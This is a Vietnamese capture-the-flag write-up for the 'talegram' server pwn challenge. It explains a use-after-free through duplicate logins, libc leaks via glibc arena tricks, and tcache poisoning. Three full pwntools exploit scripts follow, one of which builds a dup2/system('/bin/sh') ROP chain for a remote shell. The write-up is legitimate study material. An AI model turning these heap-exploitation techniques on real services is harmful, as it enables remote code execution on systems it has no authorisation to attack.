### talegram - server (993 pts) Một câu pwn khó trong wannagame championship 2025 mình là người thứ 2 solve được câu này :D, mất first blood..., nhưng ae `BlackPinker` tụi mình đã vô địch bảng quốc tế wannagame quá đã hehe, Writeup này hiện tại chưa hoàn thiện tại mình chưa có thời gian viết nên chỉ nói sơ qua thôi Bị lỗi 2 connection cùng login vào một account. Khi một connection bị xóa thì connection còn lại vẫn truy cập được vào mảng `details` và xem được data → `UAF`. Vấn đề là `unsorted bin` của từng `thread` không chứa `libc`, nên không thể leak libc từ `thread heap` bằng `unsorted bin` như cách thông thường. Tuy nhiên trong `thread heap` có con trỏ `linked list` trỏ tới `next arena` của thread tiếp theo. Nếu là `thread` đầu thì nó trỏ trực tiếp vào `main_arena` → `libc`. Từ đây có thể dùng `tcache poison` rồi deref dần cho tới khi chạm địa chỉ của `libc` → leak libc thành công. Bonus: có thêm một cách nữa để leak libc. Nếu tạo số `thread = số_core_CPU * 8`, thì cái thread thứ `core_count * 8` sẽ dùng `heap` trùng với `main_arena`. Tức là `heap` của thread lúc này chính là `heap` của `main_arena` do danh sách `arena` dạng `circular linked list`. Khi số `arena` đạt tối đa nó sẽ quay vòng và trở lại cái `main_arena` đầu tiên. Lúc này leak `libc` bằng `unsorted bin` như bình thường là được. Ngoài ra, khi `server` bị `crash`, lúc nó `respawn` lại sẽ không tự `reconnect` với client. Có thể tận dụng điều này để khiến connection đầu tiên của mình trở thành `thread` đầu tiên. Từ đó chỉ cần `deref` một lần là chạm `libc` luôn. `solve script` chia làm 2 giai đoạn: 1) Giai đoạn đầu trigger `crash`. 2) Giai đoạn sau leak `libc` rồi thực hiện `tcache poison` để viết `ROP` lên `stack` của `thread` đầu tiên. <details> <summary>Gửi payload này lên server để gây `crash`. Thực ra không cần phải dài như vậy, nhưng mình có sẵn một script cũ từng làm server `crash` trong lúc exploit nên dùng lại luôn cho tiện</summary> ``` python from pwn import * remote_connection = "nc challenge.cnsc.com.vn 32066".split() local_port = 1337 context.binary = ELF('./server_d/server') context.terminal = ['tmux', 'splitw', '-h'] localscript = f''' file {context.binary.path} ''' gdbscript = ''' set non-stop off set target-async off set pagination off ''' #include "app_structs.h" #define MAGIC 0xbeef1337 #define EVENT_MAX_SIZE 0x300 #define DETAILS_MAX_SIZE 0x200 #define MESSAGE_MAX_SIZE 0x200 #define SERVER_EVENT 0x1000 #define CLIENT_EVENT 0x2000 #define SERVER_FORWARD_MSG 0x0001 #define SERVER_RETURN_DETAILS 0x0002 #define CLIENT_REGISTER 0x0001 #define CLIENT_LOGIN 0x0002 #define CLIENT_GET_DETAILS 0x0003 #define CLIENT_UPDATE_DETAILS 0x0004 #define CLIENT_DELETE_ACCOUNT 0x0005 #define CLIENT_SEND_MSG 0x0006 #define DEF_BUFFER 0x0010 #define VIP_BUFFER 0x0020 MAGIC = 0xbeef1337 DETAILS_MAX_SIZE = 0x200 EVENT_MAX_SIZE = 0x300 MESSAGE_MAX_SIZE = 0x200 SERVER_EVENT = 0x1000 CLIENT_EVENT = 0x2000 SERVER_FORWARD_MSG = 0x0001 SERVER_RETURN_DETAILS = 0x0002 CLIENT_REGISTER = 0x0001 CLIENT_LOGIN = 0x0002 CLIENT_GET_DETAILS = 0x0003 CLIENT_UPDATE_DETAILS = 0x0004 CLIENT_DELETE_ACCOUNT = 0x0005 CLIENT_SEND_MSG = 0x0006 DEF_BUFFER = 0x0010 VIP_BUFFER = 0x0020 def start(): if args.REMOTE: return remote(remote_connection[1], int(remote_connection[2])) elif args.DOCKER: return remote("localhost", local_port) elif args.LOCAL: return process([context.binary.path]) def GDB(): if args.DOCKER: gdbserver = process("docker exec -u root -i to_player-talagrem_server-1 bash -c".split() + [f"gdbserver :9090 --attach $(pidof server) &"]) pid = gdb.attach(('localhost', 9090), exe=f'{context.binary.path}', gdbscript=localscript + gdbscript) pause() elif args.LOCAL: gdb.attach(p, gdbscript=localscript + gdbscript) pause() # # REGISTER # etype = CLIENT_EVENT | CLIENT_REGISTER | DEF_BUFFER # io.send(build_event(etype, user_payload('alice', 'alicepw', 0, 0))) # # LOGIN # etype = CLIENT_EVENT | CLIENT_LOGIN | DEF_BUFFER # io.send(build_event(etype, user_payload('alice', 'alicepw', 1, 0))) # # SEND_MSG tới bot (nếu server chạy với bot_id 'mybot') # etype = CLIENT_EVENT | CLIENT_SEND_MSG | DEF_BUFFER # io.send(build_event(etype, msg_payload('alice', 'bot_mybot', b'/help'))) # # Nhận phản hồi (nếu có) # magic = io.recvn(4) # size = u32(io.recvn(4)) # body = io.recvn(size) # etype_ret = u32(body[:4]) # data_size = u32(body[4:8]) # data = body[8:8+data_size] # log.info(f"etype=0x{etype_ret:x}, data_len={data_size}") def pad(s, n=0x20): return s.encode()[:n].ljust(n, b'\x00') def user_payload(username, password, logged_in=0, vip=0): return pad(username) + pad(password) + p32(logged_in) + p32(vip) def msg_payload(frm, to, msg_bytes): return pad(frm) + pad(to) + p32(len(msg_bytes)) + msg_bytes def build_event(etype, data): body = p32(etype) + p32(len(data)) + data return p32(MAGIC) + p32(len(body)) + body libc = ELF('./libc.so.6') # 0x705f730 # mark = start() # #create a admin user to bypass vip check # etype = CLIENT_EVENT | CLIENT_REGISTER | DEF_BUFFER # mark.send(build_event(etype, user_payload('admin', 'password', 0, 1))) # sleep(0.1) context.log_level = 'debug' # create 7 users to fill tcache bin 0x210 p1 = start() for i in range(8): username = f'user{i}' etype = CLIENT_EVENT | CLIENT_REGISTER | DEF_BUFFER p1.send(build_event(etype, user_payload(username, 'password', 0, 1))) sleep(0.1) etype = CLIENT_EVENT | CLIENT_LOGIN | DEF_BUFFER p1.send(build_event(etype, user_payload(username, 'password', 1, 0))) etype = CLIENT_EVENT | CLIENT_UPDATE_DETAILS | DEF_BUFFER details = b'B' * DETAILS_MAX_SIZE p1.send(build_event(etype, details)) sleep(0.1) # free all 6 users to put chunks into tcache for i in range(7): username = f'user{i}' etype = CLIENT_EVENT | CLIENT_LOGIN | DEF_BUFFER p1.send(build_event(etype, user_payload(username, 'password', 1, 1))) sleep(0.1) etype = CLIENT_EVENT | CLIENT_DELETE_ACCOUNT | DEF_BUFFER p1.send(build_event(etype, pad(username))) sleep(0.1) #p2 login as user7 p2 = start() etype = CLIENT_EVENT | CLIENT_LOGIN | DEF_BUFFER p2.send(build_event(etype, user_payload('user7', 'password', 1, 1))) sleep(0.1) #p1login as user7 again etype = CLIENT_EVENT | CLIENT_LOGIN | DEF_BUFFER p1.send(build_event(etype, user_payload('user7', 'password', 1, 1))) sleep(0.1) # #p2 delete user7 to free chunk # etype = CLIENT_EVENT | CLIENT_DELETE_ACCOUNT | DEF_BUFFER # p2.send(build_event(etype, pad('user7'))) # sleep(0.1) # p1 delete user7 to free chunk again etype = CLIENT_EVENT | CLIENT_DELETE_ACCOUNT | DEF_BUFFER p1.send(build_event(etype, pad('user7'))) sleep(0.1) #p2 read user7 to get leak etype = CLIENT_EVENT | CLIENT_GET_DETAILS | DEF_BUFFER p2.send(build_event(etype, pad('user7'))) data = p2.recvuntil(b"B" * (DETAILS_MAX_SIZE - 0x10)) heap_leak = u64(data[16:24]) heap_leak = heap_leak heap_base = heap_leak - 0x1bf0 print(f"heap_leak: {hex(heap_leak)}") leak_ptr = heap_leak - 0x1350 print(f"leak_ptr: {hex(leak_ptr)}") # p1 create userA to get chunk from tcache etype = CLIENT_EVENT | CLIENT_REGISTER | DEF_BUFFER p1.send(build_event(etype, user_payload('userA', 'password', 0, 1))) sleep(0.1) etype = CLIENT_EVENT | CLIENT_LOGIN | DEF_BUFFER p1.send(build_event(etype, user_payload('userA', 'password', 1, 1))) sleep(0.1) #p1 update details of userA etype = CLIENT_EVENT | CLIENT_UPDATE_DETAILS | DEF_BUFFER details = b"A" * DETAILS_MAX_SIZE p1.send(build_event(etype, details)) sleep(0.1) p3 = start() #p3 login as userA etype = CLIENT_EVENT | CLIENT_LOGIN | DEF_BUFFER p3.send(build_event(etype, user_payload('userA', 'password', 1, 1))) sleep(0.1) #p1 delete userA to free chunk etype = CLIENT_EVENT | CLIENT_DELETE_ACCOUNT | DEF_BUFFER p1.send(build_event(etype, pad('userA'))) poison_chunk = heap_base + 0x1960 def bypass_safe_link(target_add, poisso_chunk): return (poisso_chunk >> 12) ^ target_add target_addr = leak_ptr - 0x10 fake_fd = bypass_safe_link(target_addr, poison_chunk) #p3 get update details of userA with fake fd etype = CLIENT_EVENT | CLIENT_UPDATE_DETAILS | DEF_BUFFER details = p64(fake_fd) + b'E' * (DETAILS_MAX_SIZE - 8) p3.send(build_event(etype, details)) sleep(0.1) # pause() #p1 create userB to get chunk from tcache and trigger unlink etype = CLIENT_EVENT | CLIENT_REGISTER | DEF_BUFFER p1.send(build_event(etype, user_payload('userB', 'password', 0, 1))) sleep(0.1) etype = CLIENT_EVENT | CLIENT_LOGIN | DEF_BUFFER p1.send(build_event(etype, user_payload('userB', 'password', 1, 1))) sleep(0.1) #p1 update details of userB to trigger unlink etype = CLIENT_EVENT | CLIENT_UPDATE_DETAILS | DEF_BUFFER details = b'\x00' * 8 p1.send(build_event(etype, details)) sleep(0.1) # p1 create userC to get chunk at leak_ptr etype = CLIENT_EVENT | CLIENT_REGISTER | DEF_BUFFER p1.send(build_event(etype, user_payload('userC', 'password', 0, 1))) sleep(0.1) etype = CLIENT_EVENT | CLIENT_LOGIN | DEF_BUFFER p1.send(build_event(etype, user_payload('userC', 'password', 1, 1))) sleep(0.1) # p1 update details of userC etype = CLIENT_EVENT | CLIENT_UPDATE_DETAILS | DEF_BUFFER details = b'\x00' * 8 p1.send(build_event(etype, details)) sleep(0.1) #p2 login as userC etype = CLIENT_EVENT | CLIENT_LOGIN | DEF_BUFFER p2.send(build_event(etype, user_payload('userC', 'password', 1, 1))) sleep(0.1) #p2 get details of userC to leak libc addr etype = CLIENT_EVENT | CLIENT_GET_DETAILS | DEF_BUFFER p2.send(build_event(etype, pad('userC'))) sleep(0.1) data = p2.recvall(timeout=2) leak_bytes = data[32:40] libc_leak = u64(leak_bytes) print(data) libc.address = libc_leak - 0x203ac0 print(f"libc_leak: {hex(libc_leak)}") print(f"libc_base: {hex(libc.address)}") # GDB() # pause() # p1 login back to userB etype = CLIENT_EVENT | CLIENT_LOGIN | DEF_BUFFER p1.send(build_event(etype, user_payload('userB', 'password', 1, 1))) sleep(0.1) p4 = start() # p4 login as userB etype = CLIENT_EVENT | CLIENT_LOGIN | DEF_BUFFER p4.send(build_event(etype, user_payload('userB', 'password', 1, 1))) sleep(0.1) p5 = start() # p5 login as userB etype = CLIENT_EVENT | CLIENT_LOGIN | DEF_BUFFER p5.send(build_event(etype, user_payload('userB', 'password', 1, 1))) sleep(0.1) #p1 delete userB etype = CLIENT_EVENT | CLIENT_DELETE_ACCOUNT | DEF_BUFFER p1.send(build_event(etype, pad('userB'))) sleep(0.1) #p4 modify details of userB to double free etype = CLIENT_EVENT | CLIENT_UPDATE_DETAILS | DEF_BUFFER details = b'C' * DETAILS_MAX_SIZE p4.send(build_event(etype, details)) sleep(0.1) #p5 delete userB again to double free etype = CLIENT_EVENT | CLIENT_DELETE_ACCOUNT | DEF_BUFFER p5.send(build_event(etype, pad('userB'))) sleep(0.1) #p4 modify details of userB to put fake chunk into tcache # target_addr = libc_leak # fake_fd = bypass_safe_link(target_addr, poison_chunk) etype = CLIENT_EVENT | CLIENT_UPDATE_DETAILS | DEF_BUFFER details = p64(fake_fd) + b'D' * (DETAILS_MAX_SIZE - 8) p4.send(build_event(etype, details)) sleep(0.1) # p1 create double_free0 to get chunk from tcache etype = CLIENT_EVENT | CLIENT_REGISTER | DEF_BUFFER p1.send(build_event(etype, user_payload('double_free0', 'password', 0, 1))) sleep(0.1) etype = CLIENT_EVENT | CLIENT_LOGIN | DEF_BUFFER p1.send(build_event(etype, user_payload('double_free0', 'password', 1, 1))) sleep(0.1) #p1 update details of double_free0 etype = CLIENT_EVENT | CLIENT_UPDATE_DETAILS | DEF_BUFFER details = b'E' * DETAILS_MAX_SIZE p1.send(build_event(etype, details)) sleep(0.1) # p1 create double_free1 padding to poison chunk etype = CLIENT_EVENT | CLIENT_REGISTER | DEF_BUFFER p1.send(build_event(etype, user_payload('double_free1', 'password', 0, 1))) sleep(0.1) etype = CLIENT_EVENT | CLIENT_LOGIN | DEF_BUFFER p1.send(build_event(etype, user_payload('double_free1', 'password', 1, 1))) sleep(0.1) # p1 update details of double_free1 etype = CLIENT_EVENT | CLIENT_UPDATE_DETAILS | DEF_BUFFER details = b'A' p1.send(build_event(etype, details)) #get details etype = CLIENT_EVENT | CLIENT_GET_DETAILS | DEF_BUFFER p1.send(build_event(etype, pad('double_free1'))) data = p1.recvuntil(b'A') p1.interactive() ``` </details> <details> <summary>Lần 2 chúng ta có shell trên server với script này</summary> ``` from pwn import * remote_connection = "nc challenge.cnsc.com.vn 30948".split() local_port = 1337 context.binary = ELF('./server_d/server') context.terminal = ['tmux', 'splitw', '-h'] localscript = f''' file {context.binary.path} ''' gdbscript = ''' set non-stop off set target-async off set pagination off ''' #include "app_structs.h" #define MAGIC 0xbeef1337 #define EVENT_MAX_SIZE 0x300 #define DETAILS_MAX_SIZE 0x200 #define MESSAGE_MAX_SIZE 0x200 #define SERVER_EVENT 0x1000 #define CLIENT_EVENT 0x2000 #define SERVER_FORWARD_MSG 0x0001 #define SERVER_RETURN_DETAILS 0x0002 #define CLIENT_REGISTER 0x0001 #define CLIENT_LOGIN 0x0002 #define CLIENT_GET_DETAILS 0x0003 #define CLIENT_UPDATE_DETAILS 0x0004 #define CLIENT_DELETE_ACCOUNT 0x0005 #define CLIENT_SEND_MSG 0x0006 #define DEF_BUFFER 0x0010 #define VIP_BUFFER 0x0020 MAGIC = 0xbeef1337 DETAILS_MAX_SIZE = 0x200 EVENT_MAX_SIZE = 0x300 MESSAGE_MAX_SIZE = 0x200 SERVER_EVENT = 0x1000 CLIENT_EVENT = 0x2000 SERVER_FORWARD_MSG = 0x0001 SERVER_RETURN_DETAILS = 0x0002 CLIENT_REGISTER = 0x0001 CLIENT_LOGIN = 0x0002 CLIENT_GET_DETAILS = 0x0003 CLIENT_UPDATE_DETAILS = 0x0004 CLIENT_DELETE_ACCOUNT = 0x0005 CLIENT_SEND_MSG = 0x0006 DEF_BUFFER = 0x0010 VIP_BUFFER = 0x0020 def start(): if args.REMOTE: return remote(remote_connection[1], int(remote_connection[2])) elif args.DOCKER: return remote("localhost", local_port) elif args.LOCAL: return process([context.binary.path]) def GDB(): if args.DOCKER: gdbserver = process("docker exec -u root -i to_player-talagrem_server-1 bash -c".split() + [f"gdbserver :9090 --attach $(pidof server) &"]) pid = gdb.attach(('localhost', 9090), exe=f'{context.binary.path}', gdbscript=localscript + gdbscript) pause() elif args.LOCAL: gdb.attach(p, gdbscript=localscript + gdbscript) pause() # # REGISTER # etype = CLIENT_EVENT | CLIENT_REGISTER | DEF_BUFFER # io.send(build_event(etype, user_payload('alice', 'alicepw', 0, 0))) # # LOGIN # etype = CLIENT_EVENT | CLIENT_LOGIN | DEF_BUFFER # io.send(build_event(etype, user_payload('alice', 'alicepw', 1, 0))) # # SEND_MSG tới bot (nếu server chạy với bot_id 'mybot') # etype = CLIENT_EVENT | CLIENT_SEND_MSG | DEF_BUFFER # io.send(build_event(etype, msg_payload('alice', 'bot_mybot', b'/help'))) # # Nhận phản hồi (nếu có) # magic = io.recvn(4) # size = u32(io.recvn(4)) # body = io.recvn(size) # etype_ret = u32(body[:4]) # data_size = u32(body[4:8]) # data = body[8:8+data_size] # log.info(f"etype=0x{etype_ret:x}, data_len={data_size}") def pad(s, n=0x20): return s.encode()[:n].ljust(n, b'\x00') def user_payload(username, password, logged_in=0, vip=0): return pad(username) + pad(password) + p32(logged_in) + p32(vip) def msg_payload(frm, to, msg_bytes): return pad(frm) + pad(to) + p32(len(msg_bytes)) + msg_bytes def build_event(etype, data): body = p32(etype) + p32(len(data)) + data return p32(MAGIC) + p32(len(body)) + body libc = ELF('./libc.so.6') # 0x705f730 # mark = start() # #create a admin user to bypass vip check # etype = CLIENT_EVENT | CLIENT_REGISTER | DEF_BUFFER # mark.send(build_event(etype, user_payload('admin', 'password', 0, 1))) # sleep(0.1) context.log_level = 'debug' # create 7 users to fill tcache bin 0x210 p1 = start() for i in range(8): username = f'user{i}' etype = CLIENT_EVENT | CLIENT_REGISTER | DEF_BUFFER p1.send(build_event(etype, user_payload(username, 'password', 0, 1))) sleep(0.1) etype = CLIENT_EVENT | CLIENT_LOGIN | DEF_BUFFER p1.send(build_event(etype, user_payload(username, 'password', 1, 0))) etype = CLIENT_EVENT | CLIENT_UPDATE_DETAILS | DEF_BUFFER details = b'B' * DETAILS_MAX_SIZE p1.send(build_event(etype, details)) sleep(0.1) # free all 6 users to put chunks into tcache for i in range(7): username = f'user{i}' etype = CLIENT_EVENT | CLIENT_LOGIN | DEF_BUFFER p1.send(build_event(etype, user_payload(username, 'password', 1, 1))) sleep(0.1) etype = CLIENT_EVENT | CLIENT_DELETE_ACCOUNT | DEF_BUFFER p1.send(build_event(etype, pad(username))) sleep(0.1) #p2 login as user7 p2 = start() etype = CLIENT_EVENT | CLIENT_LOGIN | DEF_BUFFER p2.send(build_event(etype, user_payload('user7', 'password', 1, 1))) sleep(0.1) #p1login as user7 again etype = CLIENT_EVENT | CLIENT_LOGIN | DEF_BUFFER p1.send(build_event(etype, user_payload('user7', 'password', 1, 1))) sleep(0.1) # #p2 delete user7 to free chunk # etype = CLIENT_EVENT | CLIENT_DELETE_ACCOUNT | DEF_BUFFER # p2.send(build_event(etype, pad('user7'))) # sleep(0.1) # p1 delete user7 to free chunk again etype = CLIENT_EVENT | CLIENT_DELETE_ACCOUNT | DEF_BUFFER p1.send(build_event(etype, pad('user7'))) sleep(0.1) #p2 read user7 to get leak etype = CLIENT_EVENT | CLIENT_GET_DETAILS | DEF_BUFFER p2.send(build_event(etype, pad('user7'))) data = p2.recvuntil(b"B" * (DETAILS_MAX_SIZE - 0x10)) heap_leak = u64(data[16:24]) heap_leak = heap_leak heap_base = heap_leak - 0x1bf0 print(f"heap_leak: {hex(heap_leak)}") leak_ptr = heap_leak - 0x1350 print(f"leak_ptr: {hex(leak_ptr)}") # p1 create userA to get chunk from tcache etype = CLIENT_EVENT | CLIENT_REGISTER | DEF_BUFFER p1.send(build_event(etype, user_payload('userA', 'password', 0, 1))) sleep(0.1) etype = CLIENT_EVENT | CLIENT_LOGIN | DEF_BUFFER p1.send(build_event(etype, user_payload('userA', 'password', 1, 1))) sleep(0.1) #p1 update details of userA etype = CLIENT_EVENT | CLIENT_UPDATE_DETAILS | DEF_BUFFER details = b"A" * DETAILS_MAX_SIZE p1.send(build_event(etype, details)) sleep(0.1) p3 = start() #p3 login as userA etype = CLIENT_EVENT | CLIENT_LOGIN | DEF_BUFFER p3.send(build_event(etype, user_payload('userA', 'password', 1, 1))) sleep(0.1) #p1 delete userA to free chunk etype = CLIENT_EVENT | CLIENT_DELETE_ACCOUNT | DEF_BUFFER p1.send(build_event(etype, pad('userA'))) poison_chunk = heap_base + 0x1960 def bypass_safe_link(target_add, poisso_chunk): return (poisso_chunk >> 12) ^ target_add target_addr = leak_ptr - 0x10 fake_fd = bypass_safe_link(target_addr, poison_chunk) #p3 get update details of userA with fake fd etype = CLIENT_EVENT | CLIENT_UPDATE_DETAILS | DEF_BUFFER details = p64(fake_fd) + b'E' * (DETAILS_MAX_SIZE - 8) p3.send(build_event(etype, details)) sleep(0.1) # pause() #p1 create userB to get chunk from tcache and trigger unlink etype = CLIENT_EVENT | CLIENT_REGISTER | DEF_BUFFER p1.send(build_event(etype, user_payload('userB', 'password', 0, 1))) sleep(0.1) etype = CLIENT_EVENT | CLIENT_LOGIN | DEF_BUFFER p1.send(build_event(etype, user_payload('userB', 'password', 1, 1))) sleep(0.1) #p1 update details of userB to trigger unlink etype = CLIENT_EVENT | CLIENT_UPDATE_DETAILS | DEF_BUFFER details = b'\x00' * 8 p1.send(build_event(etype, details)) sleep(0.1) # p1 create userC to get chunk at leak_ptr etype = CLIENT_EVENT | CLIENT_REGISTER | DEF_BUFFER p1.send(build_event(etype, user_payload('userC', 'password', 0, 1))) sleep(0.1) etype = CLIENT_EVENT | CLIENT_LOGIN | DEF_BUFFER p1.send(build_event(etype, user_payload('userC', 'password', 1, 1))) sleep(0.1) # p1 update details of userC etype = CLIENT_EVENT | CLIENT_UPDATE_DETAILS | DEF_BUFFER details = b'\x00' * 8 p1.send(build_event(etype, details)) sleep(0.1) #p2 login as userC etype = CLIENT_EVENT | CLIENT_LOGIN | DEF_BUFFER p2.send(build_event(etype, user_payload('userC', 'password', 1, 1))) sleep(0.1) #p2 get details of userC to leak libc addr etype = CLIENT_EVENT | CLIENT_GET_DETAILS | DEF_BUFFER p2.send(build_event(etype, pad('userC'))) sleep(0.1) data = p2.recvall(timeout=2) leak_bytes = data[32:40] libc_leak = u64(leak_bytes) print(data) libc.address = libc_leak - 0x203ac0 print(f"libc_leak: {hex(libc_leak)}") print(f"libc_base: {hex(libc.address)}") # GDB() # pause() # p1 login back to userB etype = CLIENT_EVENT | CLIENT_LOGIN | DEF_BUFFER p1.send(build_event(etype, user_payload('userB', 'password', 1, 1))) sleep(0.1) p4 = start() # p4 login as userB etype = CLIENT_EVENT | CLIENT_LOGIN | DEF_BUFFER p4.send(build_event(etype, user_payload('userB', 'password', 1, 1))) sleep(0.1) p5 = start() # p5 login as userB etype = CLIENT_EVENT | CLIENT_LOGIN | DEF_BUFFER p5.send(build_event(etype, user_payload('userB', 'password', 1, 1))) sleep(0.1) #p1 delete userB etype = CLIENT_EVENT | CLIENT_DELETE_ACCOUNT | DEF_BUFFER p1.send(build_event(etype, pad('userB'))) sleep(0.1) #p4 modify details of userB to double free etype = CLIENT_EVENT | CLIENT_UPDATE_DETAILS | DEF_BUFFER details = b'C' * DETAILS_MAX_SIZE p4.send(build_event(etype, details)) sleep(0.1) #p5 delete userB again to double free etype = CLIENT_EVENT | CLIENT_DELETE_ACCOUNT | DEF_BUFFER p5.send(build_event(etype, pad('userB'))) sleep(0.1) #p4 modify details of userB to put fake chunk into tcache # target_addr = libc_leak # fake_fd = bypass_safe_link(target_addr, poison_chunk) target_addr = libc.address - 0x4190 fake_fd = bypass_safe_link(target_addr, poison_chunk) etype = CLIENT_EVENT | CLIENT_UPDATE_DETAILS | DEF_BUFFER details = p64(fake_fd) + b'D' * (DETAILS_MAX_SIZE - 8) p4.send(build_event(etype, details)) sleep(0.1) # p1 create double_free0 to get chunk from tcache etype = CLIENT_EVENT | CLIENT_REGISTER | DEF_BUFFER p1.send(build_event(etype, user_payload('double_free0', 'password', 0, 1))) sleep(0.1) etype = CLIENT_EVENT | CLIENT_LOGIN | DEF_BUFFER p1.send(build_event(etype, user_payload('double_free0', 'password', 1, 1))) sleep(0.1) #p1 update details of double_free0 etype = CLIENT_EVENT | CLIENT_UPDATE_DETAILS | DEF_BUFFER details = b'E' * 8 p1.send(build_event(etype, details)) sleep(0.1) # p1 create double_free1 padding to poison chunk etype = CLIENT_EVENT | CLIENT_REGISTER | DEF_BUFFER p1.send(build_event(etype, user_payload('double_free1', 'password', 0, 1))) sleep(0.1) etype = CLIENT_EVENT | CLIENT_LOGIN | DEF_BUFFER p1.send(build_event(etype, user_payload('double_free1', 'password', 1, 1))) sleep(0.1) # p1 update details of double_free1 etype = CLIENT_EVENT | CLIENT_UPDATE_DETAILS | DEF_BUFFER details = p64(libc.address - 0x4190 - 0x100) # 0x000000000010f78b : pop rdi ; ret # 0x0000000000110a7d : pop rsi ; ret # dup2(fd, 0) # dup2(fd, 1) # dup2(fd, 2) # system("/bin/sh") # 000000000002882f : ret details += p64(libc.address + 0x000000000010f78b) # pop rdi ; ret details += p64(4) # fd details += p64(libc.address + 0x0000000000110a7d) # pop rsi ; ret details += p64(0) # stdin details += p64(libc.address + 0x2882f) # ret details += p64(libc.sym['dup2']) details += p64(libc.address + 0x000000000010f78b) # pop rdi ; ret details += p64(4) # fd details += p64(libc.address + 0x0000000000110a7d) # pop rsi ; ret details += p64(1) # stdout details += p64(libc.sym['dup2']) details += p64(libc.address + (0x000000000010f78b)) # pop rdi ; ret details += p64(4) # fd details += p64(libc.address + 0x0000000000110a7d) # pop rsi ; ret details += p64(2) # stderr details += p64(libc.sym['dup2']) details += p64(libc.address + 0x000000000010f78b) # pop rdi ; ret details += p64(next(libc.search(b'/bin/sh\x00'))) details += p64(libc.address + 0x2882f) # ret details += p64(libc.sym['system']) GDB() p1.send(build_event(etype, details)) #get details # etype = CLIENT_EVENT | CLIENT_GET_DETAILS | DEF_BUFFER # p1.send(build_event(etype, pad('double_free1'))) # data = p1.recvuntil(b'A') sleep(0.1) p1.interactive() ``` </details> <details> <summary>script leak libc bằng cách bonus</summary> ``` from pwn import * # challenge.cnsc.com.vn:32066 remote_connection = "nc challenge.cnsc.com.vn 32397".split() local_port = 5000 context.binary = ELF('./server_d/server') context.terminal = ['tmux', 'splitw', '-h'] localscript = f''' file {context.binary.path} ''' gdbscript = ''' ''' #include "app_structs.h" #define MAGIC 0xbeef1337 #define EVENT_MAX_SIZE 0x300 #define DETAILS_MAX_SIZE 0x200 #define MESSAGE_MAX_SIZE 0x200 #define SERVER_EVENT 0x1000 #define CLIENT_EVENT 0x2000 #define SERVER_FORWARD_MSG 0x0001 #define SERVER_RETURN_DETAILS 0x0002 #define CLIENT_REGISTER 0x0001 #define CLIENT_LOGIN 0x0002 #define CLIENT_GET_DETAILS 0x0003 #define CLIENT_UPDATE_DETAILS 0x0004 #define CLIENT_DELETE_ACCOUNT 0x0005 #define CLIENT_SEND_MSG 0x0006 #define DEF_BUFFER 0x0010 #define VIP_BUFFER 0x0020 MAGIC = 0xbeef1337 DETAILS_MAX_SIZE = 0x200 EVENT_MAX_SIZE = 0x300 MESSAGE_MAX_SIZE = 0x200 SERVER_EVENT = 0x1000 CLIENT_EVENT = 0x2000 SERVER_FORWARD_MSG = 0x0001 SERVER_RETURN_DETAILS = 0x0002 CLIENT_REGISTER = 0x0001 CLIENT_LOGIN = 0x0002 CLIENT_GET_DETAILS = 0x0003 CLIENT_UPDATE_DETAILS = 0x0004 CLIENT_DELETE_ACCOUNT = 0x0005 CLIENT_SEND_MSG = 0x0006 DEF_BUFFER = 0x0010 VIP_BUFFER = 0x0020 def start(): if args.REMOTE: return remote(remote_connection[1], int(remote_connection[2])) elif args.DOCKER: return remote("localhost", local_port) elif args.LOCAL: return process([context.binary.path]) def GDB(): if args.DOCKER: gdbserver = process("docker exec -u root -i debug_container bash -c".split() + [f"gdbserver :9090 --attach $(pidof server) &"]) pid = gdb.attach(('localhost', 9090), exe=f'{context.binary.path}', gdbscript=localscript + gdbscript) pause() elif args.LOCAL: gdb.attach(p, gdbscript=localscript + gdbscript) pause() def pad(s, n=0x20): return s.encode()[:n].ljust(n, b'\x00') def user_payload(username, password, logged_in=0, vip=0): return pad(username) + pad(password) + p32(logged_in) + p32(vip) def msg_payload(frm, to, msg_bytes): return pad(frm) + pad(to) + p32(len(msg_bytes)) + msg_bytes def build_event(etype, data): body = p32(etype) + p32(len(data)) + data return p32(MAGIC) + p32(len(body)) + body libc = ELF('./libc.so.6') # 0x705f730 GDB() temps = [] for i in range(32*8 - 2): temps.append(start()) etype = CLIENT_EVENT | CLIENT_REGISTER | DEF_BUFFER temps[-1].send(build_event(etype, user_payload(f'temp{i}', 'temppw', 0, 1))) etype = CLIENT_EVENT | CLIENT_LOGIN | DEF_BUFFER temps[-1].send(build_event(etype, user_payload(f'temp{i}', 'temppw', 1, 0))) sleep(0.1) context.log_level = 'debug' p1 = start() for i in range(8): username = f'user{i}' etype = CLIENT_EVENT | CLIENT_REGISTER | DEF_BUFFER p1.send(build_event(etype, user_payload(username, 'password', 0, 1))) etype = CLIENT_EVENT | CLIENT_LOGIN | DEF_BUFFER p1.send(build_event(etype, user_payload(username, 'password', 1, 0))) etype = CLIENT_EVENT | CLIENT_UPDATE_DETAILS | DEF_BUFFER details = b'B' * DETAILS_MAX_SIZE p1.send(build_event(etype, details)) sleep(1) #login again then delete all accounts for i in range(7): username = f'user{i}' etype = CLIENT_EVENT | CLIENT_LOGIN | DEF_BUFFER p1.send(build_event(etype, user_payload(username, 'password', 1, 1))) etype = CLIENT_EVENT | CLIENT_DELETE_ACCOUNT | DEF_BUFFER p1.send(build_event(etype, pad(username))) # p1 login as user7 etype = CLIENT_EVENT | CLIENT_LOGIN | DEF_BUFFER p1.send(build_event(etype, user_payload('user7', 'password', 1, 1))) # pause() sleep(1) # login as user 7 etype = CLIENT_EVENT | CLIENT_LOGIN | DEF_BUFFER temps[0].send(build_event(etype, user_payload('user7', 'password', 1, 1))) etype = CLIENT_EVENT | CLIENT_DELETE_ACCOUNT | DEF_BUFFER p1.send(build_event(etype, pad('user7'))) etype = CLIENT_EVENT | CLIENT_GET_DETAILS | DEF_BUFFER temps[0].send(build_event(etype, pad('user7'))) #delete account user7 data = temps[0].recvall(timeout=2) leak_bytes = data[16+8:24+8] heap_leak = u64(data[16:24]) libc_base = u64(leak_bytes) - 0x203b20 libc.address = libc_base print(f"libc_base: {hex(libc_base)}") print(f"heap_leak: {hex(heap_leak)}") heap_base = heap_leak - 0xab60 p1.interactive() ``` </details>